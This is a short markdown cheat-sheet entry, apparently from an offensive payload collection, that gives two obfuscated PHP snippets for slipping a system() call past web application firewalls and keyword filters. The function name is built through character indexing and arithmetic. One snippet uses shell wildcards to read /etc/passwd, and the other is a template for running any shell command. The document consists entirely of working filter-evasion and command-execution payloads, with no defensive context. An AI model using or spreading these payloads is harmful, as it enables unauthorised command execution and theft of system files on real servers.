system-php-bypass.md

Payload Bypass WAF & Filters system()

Read file /etc/passwd using system();

<?php
$a=("m".("s".("e")."t")."y");$b=$a[90/10-8]./**/($a[2*2-0/1]).$a[1*0+1/
1-0]./**/$a[150/50].($a[6/3*1/**/-0]).$a[/**/!FAlsE+fALsE-!fAlSe];$b('$u/b??/c?t $u/??c$u/p????d');
?>

Execute command shell using system();

<?php
$a=("m".("s".("e")."t")."y");$b=$a[90/10-8]./**/($a[2*2-0/1]).$a[1*0+1/
1-0]./**/$a[150/50].($a[6/3*1/**/-0]).$a[/**/!FAlsE+fALsE-!fAlSe];$b('command');
?>